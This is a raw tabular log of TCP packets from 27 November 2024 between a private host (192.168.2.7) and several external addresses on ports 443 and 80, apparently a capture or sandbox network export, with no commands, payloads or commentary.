Nov 27, 2024 16:34:59.881997108 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.882119894 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.887985945 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.888019085 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.888040066 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.888046980 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.900958061 CET	49913	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.901015043 CET	443	49913	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.901846886 CET	49913	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.902348995 CET	49913	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.902364016 CET	443	49913	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.247927904 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.247958899 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.248011112 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.248080015 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:00.248125076 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:00.265759945 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:00.265777111 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.265793085 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:00.265800953 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.278584957 CET	49914	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:00.278646946 CET	443	49914	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.278893948 CET	49914	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:00.284281015 CET	49914	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:00.284306049 CET	443	49914	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:00.316046953 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.321674109 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.327954054 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.327982903 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.328232050 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.328250885 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.328413963 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.328699112 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.335562944 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.335637093 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.336306095 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.336429119 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.337065935 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.337120056 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.346575975 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.346806049 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.346821070 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.347883940 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.347975016 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.348417997 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.348474979 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.348701954 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.348707914 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.383322001 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.383330107 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.392785072 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.471787930 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:35:00.471879959 CET	443	49822	172.64.41.3	192.168.2.7
Nov 27, 2024 16:35:00.472075939 CET	49822	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:35:00.473370075 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:35:00.473443985 CET	443	49821	172.64.41.3	192.168.2.7
Nov 27, 2024 16:35:00.473495960 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:35:00.766472101 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.766661882 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.766733885 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:00.771101952 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:00.771394968 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:35:00.771426916 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:00.771823883 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:00.772377968 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:35:00.772440910 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:00.772768021 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:35:00.781038046 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.781109095 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.781248093 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:00.811913967 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.812002897 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.812056065 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:00.815068007 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.815130949 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.815185070 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:00.815309048 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.815335035 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:00.815380096 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.815498114 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:00.816327095 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.816381931 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:00.816437960 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:00.878782988 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.878807068 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.878879070 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.878881931 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.878935099 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.878962040 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.879004002 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.917799950 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.917853117 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.917956114 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:00.918495893 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.918555021 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.918565035 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.918634892 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:00.919823885 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.919935942 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.919945002 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.920002937 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:00.920020103 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:00.920833111 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.920948982 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:00.921013117 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:00.981729984 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.981769085 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.981786966 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.981843948 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.981874943 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.981920004 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.993550062 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.993582010 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.993591070 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.993617058 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.993645906 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.993710995 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.993710995 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:00.993740082 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:00.993782997 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.029582024 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.029608011 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.029686928 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.029702902 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.029733896 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.029748917 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.037760973 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.037827015 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.037834883 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.037893057 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.037946939 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.038077116 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.041336060 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.041357040 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.041430950 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.041460037 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.041538000 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.042253971 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.042326927 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.042788029 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.042819977 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.042867899 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.042881012 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.042915106 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.042934895 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.043865919 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.043935061 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.043939114 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.044014931 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.049565077 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.049700022 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.051472902 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.051534891 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.119740009 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.119787931 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.119858980 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.119903088 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.124099970 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.124212027 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.124223948 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.124414921 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.132566929 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.132647991 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.132740021 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.141000986 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.141088963 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.141175985 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.149756908 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.149821043 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.149888992 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.149935961 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.157987118 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.158044100 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.158081055 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.158102036 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.161756992 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.161778927 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.161827087 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.161853075 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.161883116 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.161904097 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.166641951 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.166701078 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.166728973 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.166913986 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.175010920 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.175081968 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.175086021 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.175331116 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.183525085 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.183548927 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.183582067 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.183603048 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.186649084 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.186717987 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.186738014 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.186754942 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.186805964 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.187107086 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.187122107 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.191963911 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.191977024 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.192013025 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.192032099 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.192560911 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.192589045 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.192663908 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.192692041 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.192708015 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.192850113 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.195024967 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.195050001 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.195148945 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.195166111 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.195296049 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.199625015 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.199685097 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.211479902 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.211585999 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.211622000 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.211666107 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.231199026 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.231225967 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.234153032 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.234175920 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.234258890 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:01.234294891 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.234316111 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.234345913 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.234354973 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:01.234369040 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.234401941 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:35:01.237912893 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:35:01.237931013 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:35:01.241821051 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.241905928 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.241925001 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.241976023 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.251842976 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:35:01.251868963 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:35:01.302542925 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.302582979 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.302692890 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.304884911 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.304964066 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.305047989 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.305912018 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.305938005 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.306454897 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.306461096 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.321093082 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.321176052 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.321178913 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.321238995 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.323520899 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.323586941 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.323601007 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.323697090 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.328881979 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.328941107 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.330672026 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.333532095 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.333589077 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.333614111 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.333662033 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.338551044 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.338618040 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.338687897 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.338747025 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.343470097 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.343530893 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.343637943 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.343704939 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.348540068 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.348613024 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.348623991 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.348655939 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.353461981 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.353537083 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.353694916 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.353749037 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.358477116 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.358614922 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.358643055 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.358656883 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.363425016 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.363487959 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.363523006 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.363758087 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.368422985 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.368478060 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.368558884 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.368606091 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.373440027 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.373493910 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.373534918 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.373558998 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.378388882 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.378492117 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.378532887 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.378588915 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.383404016 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.383481026 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.383495092 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.383768082 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.388365030 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.388456106 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.388463974 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.388550043 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.393394947 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.393491030 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.393510103 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.393578053 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.398427963 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.398505926 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.398551941 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.398699999 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.403203011 CET	443	49909	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.403290033 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.403395891 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.403440952 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.403455973 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.404591084 CET	49909	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:35:01.404624939 CET	443	49909	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.405555010 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:01.405582905 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:01.405653954 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:01.405669928 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:01.405694962 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:01.405734062 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:01.405755043 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:01.405761003 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:01.405895948 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:01.405905008 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:01.405945063 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:35:01.405966043 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:35:01.407001019 CET	49915	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:35:01.407027960 CET	443	49915	104.208.16.90	192.168.2.7
Nov 27, 2024 16:35:01.407105923 CET	49915	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:35:01.407567978 CET	49915	443	192.168.2.7	104.208.16.90
